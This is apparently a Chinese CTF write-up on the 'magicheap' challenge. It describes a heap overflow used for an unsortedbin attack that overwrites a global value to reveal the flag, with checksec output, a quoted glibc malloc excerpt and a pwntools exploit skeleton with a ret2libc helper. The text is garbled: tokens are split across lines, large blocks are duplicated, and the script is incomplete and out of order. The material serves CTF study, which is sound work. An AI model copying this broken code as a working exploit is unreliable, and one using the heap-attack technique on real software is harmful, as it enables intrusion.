实验环境:
• OS:Ubuntu16.04 x64
• libc:libc.2-23.so(md5:b0097c8a9284b03b412ff171c3d3c9cc)
没发现有啥特殊,就是四个选项:分配、编辑、释放、退出。
由分析可知,当输入的choice==4869且存储在bss段的全局变量magic>0x1305时,就能打印出flag。注意到这里是要想办法让magic变成一个很大的数,而unsortedbin attack的攻击效果就是让任意地址的内容改成一个较大的数值,因此该题可以尝试unsortedbin attack。
编辑heap内容的时候,输入的size不是chunk的user data部分的大小,而是用户自己随意输入一个数值,然后往chunk里输入size长度的数据,因此存在堆溢出漏洞。
漏洞点:
输入点:
思路:
所以,通过画图分析可以利用heap_edit函数的堆溢出漏洞这样去构造:
magic的地址是32位的,所以要往上16个字节需要减4。
这里顺带贴一下将chunk从unsortedbin取下来的过程:
于是,当chunk1的bk被覆盖修改之后,从unsorted bin移除chunk的过程可总结如下:
victim = unsorted_chunks(av)->bk = chunk1-16
bck = victim->bk = chunk1->bk = target addr-16
unsorted_chunks(av)->bk = bck=target addr-16
bck->fd = *(target addr -16+16) = unsorted_chunks(av);
可以看出,在从 unsorted bin 移除 chunk 的过程中,victim 的 fd 并没有发挥作用,所以即使我们修改了其为一个不合法的值也没有关系。
这一题还是比较简单的。做完之后我去看ctfwiki的题解,感觉我的脑袋僵硬了:( -> malloc的三个chunk,只要保证第二个chunk在释放的时候会放到unsorted bin里去就可以了,不需要三个都是smallbin chunk。
$
file
magicheap
magicheap: ELF
64
-
bit LSB executable, x86
-
64
, version
1
(SYSV), dynamically linked, interpreter
/
lib64
/
ld
-
linux
-
x86
-
64.so
.
2
,
for
GNU
/
Linux
2.6
.
32
, BuildID[sha1]
=
7dbbc580bc50d383c3d8964b8fa0e56dbda3b5f1
,
not
stripped
$ checksec
-
-
file
=
magicheap
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable
FILE
Partial RELRO Canary found NX enabled No PIE No RPATH No RUNPATH
87
) Symbols No
0
2magicheap
$
file
magicheap
magicheap: ELF
64
-
bit LSB executable, x86
-
64
, version
1
(SYSV), dynamically linked, interpreter
/
lib64
/
ld
-
linux
-
x86
-
64.so
.
2
,
for
GNU
/
Linux
2.6
.
32
, BuildID[sha1]
=
7dbbc580bc50d383c3d8964b8fa0e56dbda3b5f1
,
not
stripped
$ checksec
-
-
file
=
magicheap
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable
FILE
Partial RELRO Canary found NX enabled No PIE No RPATH No RUNPATH
87
) Symbols No
0
2magicheap
while
((victim
=
unsorted_chunks(av)
-
>bk) !
=
unsorted_chunks(av)) {
bck
=
victim
-
>bk;
if
(__builtin_expect(chunksize_nomask(victim) <
=
2
*
SIZE_SZ,
0
) ||
__builtin_expect(chunksize_nomask(victim) > av
-
>system_mem,
0
))
malloc_printerr(check_action,
"malloc(): memory corruption"
,
chunk2mem(victim), av);
size
=
chunksize(victim);
/
*
If a small request,
try
to use last remainder
if
it
is
the
only chunk
in
unsorted
bin
. This helps promote locality
for
runs of consecutive small requests. This
is
the only
exception to best
-
fit,
and
applies only when there
is
no exact fit
for
a small chunk.
*
/
/
*
如果bck被修改会不符合这里的要求
*
/
if
(in_smallbin_range(nb) && bck
=
=
unsorted_chunks(av) &&
victim
=
=
av
-
>last_remainder &&
(unsigned
long
) (size) > (unsigned
long
) (nb
+
MINSIZE)) {
....
}
/
*
remove
from
unsorted
list
*
/
unsorted_chunks(av)
-
>bk
=
bck;
bck
-
>fd
=
unsorted_chunks(av);
while
((victim
=
unsorted_chunks(av)
-
>bk) !
=
unsorted_chunks(av)) {
bck
=
victim
-
>bk;
if
(__builtin_expect(chunksize_nomask(victim) <
=
2
*
SIZE_SZ,
0
) ||
__builtin_expect(chunksize_nomask(victim) > av
-
>system_mem,
0
))
malloc_printerr(check_action,
"malloc(): memory corruption"
,
chunk2mem(victim), av);
size
=
chunksize(victim);
/
*
If a small request,
try
to use last remainder
if
it
is
the
only chunk
in
unsorted
bin
. This helps promote locality
for
runs of consecutive small requests. This
is
the only
exception to best
-
fit,
and
applies only when there
is
no exact fit
for
a small chunk.
*
/
/
*
如果bck被修改会不符合这里的要求
*
/
if
(in_smallbin_range(nb) && bck
=
=
unsorted_chunks(av) &&
victim
=
=
av
-
>last_remainder &&
(unsigned
long
) (size) > (unsigned
long
) (nb
+
MINSIZE)) {
....
}
/
*
remove
from
unsorted
list
*
/
unsorted_chunks(av)
-
>bk
=
bck;
bck
-
>fd
=
unsorted_chunks(av);
from
pwn
import
*
from
LibcSearcher
import
LibcSearcher
from
sys
import
argv
def
ret2libc(leak, func, path
=
''):
if
path
=
=
'':
libc
=
LibcSearcher(func, leak)
base
=
leak
-
libc.dump(func)
system
=
base
+
libc.dump(
'system'
)
binsh
=
base
+
libc.dump(
'str_bin_sh'
)
else
:
libc
=
ELF(path)
base
=
leak
-
libc.sym[func]
system
=
base
+
libc.sym[
'system'
]
binsh
=
base
+
libc.search(
'/bin/sh'
).
next
()
return
(base, system, binsh)
s
=
lambda
data :p.send(
str
(data))
sa
=
lambda
delim,data :p.sendafter(delim,
str
(data))
sl
=
lambda
data :p.sendline(
str
(data))
sla
=
lambda
delim,data :p.sendlineafter(delim,
str
(data))
r
=
lambda
num
=
4096
:p.recv(num)
ru
=
lambda
delims, drop
=
True
:p.recvuntil(delims, drop)
uu64
=
lambda
data :u64(data.ljust(
8
,
'\0'
))
leak
=
lambda
name,addr :log.success(
'{} = {:#x}'
.
format
(name, addr))
context.log_level
=
'DEBUG'
binary
=
'./magicheap'
context.binary
=
binary
elf
=
ELF(binary,checksec
=
False
)
p
=
process(binary)
libc
=
ELF(
'/lib/x86_64-linux-gnu/libc.so.6'
,checksec
=
False
)
def
dbg():
gdb.attach(p)
pause()
def
create(size, content):
ru(
"choice :"
)
sl(
"1"
)
ru(
"Heap : "
)
sl(
str
(size))
ru(
"heap:"
)
sl(content)
def
edit(idx, size, content):
ru(
"choice :"
)
sl(
"2"
)
ru(
"Index :"
)
sl(
str
(idx))
ru(
"Heap : "
)
sl(
str
(size))
ru(
"heap : "
)
sl(content)
def
delete(idx):
ru(
"choice :"
)
sl(
"3"
)
ru(
"Index :"
)
sl(
str
(idx))
p.interactive()
from
pwn
import
*
from
LibcSearcher
import
LibcSearcher
from
sys
import
argv
def
ret2libc(leak, func, path
=
''):
if
path
=
=
'':
libc
=
LibcSearcher(func, leak)
base
=
leak
-
libc.dump(func)
system
=
base
+
libc.dump(
'system'
)
binsh
=
base
+
libc.dump(
'str_bin_sh'
)
else
:
libc
=
ELF(path)
base
=
leak
-
libc.sym[func]
system
=
base
+
libc.sym[
'system'
]
binsh
=
base
+
libc.search(
'/bin/sh'
).
next
()
return
(base, system, binsh)
s
=
lambda
data :p.send(
str
(data))
sa
=
lambda
delim,data :p.sendafter(delim,
str
(data))
sl
=
lambda
data :p.sendline(
str
(data))
sla
=
lambda
delim,data :p.sendlineafter(delim,
str
(data))
r
=
lambda
num
=
4096
:p.recv(num)
ru
=
lambda
delims, drop
=
True
:p.recvuntil(delims, drop)
uu64
=
lambda
data :u64(data.ljust(
8
,
'\0'
))
leak
=
lambda
name,addr :log.success(
'{} = {:#x}'
.
format
(name, addr))
context.log_level
=
'DEBUG'
binary
=
'./magicheap'
context.binary
=
binary
elf
=
ELF(binary,checksec
=
False
)
p
=
process(binary)
libc
=
ELF(
'/lib/x86_64-linux-gnu/libc.so.6'
,checksec
=
False
)
def
dbg():
gdb.attach(p)
pause()
def
create(size, content):
ru(
"choice :"
)
sl(
"1"
)
ru(
"Heap : "
)
sl(
str
(size))
ru(
"heap:"
)
sl(content)
def
edit(idx, size, content):
ru(
"choice :"
)
sl(
"2"
)
ru(
"Index :"
)
sl(
str
(idx))
ru(
"Heap : "
)
sl(
str
(size))
ru(
"heap : "
)
sl(content)
def
delete(idx):
ru(
"choice :"
)
sl(
"3"
)
ru(
"Index :"
)
sl(
str
(idx))
p.interactive()
create(
300
,
'a'
*
300
)
create(
400
,
'a'
*
400
)
create(
500
,
'a'
*
500
)
delete(
1
)
create(
300
,
'a'
*
300
)
create(
400
,
'a'
*
400
)
create(
500
,
'a'
*
500
)
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课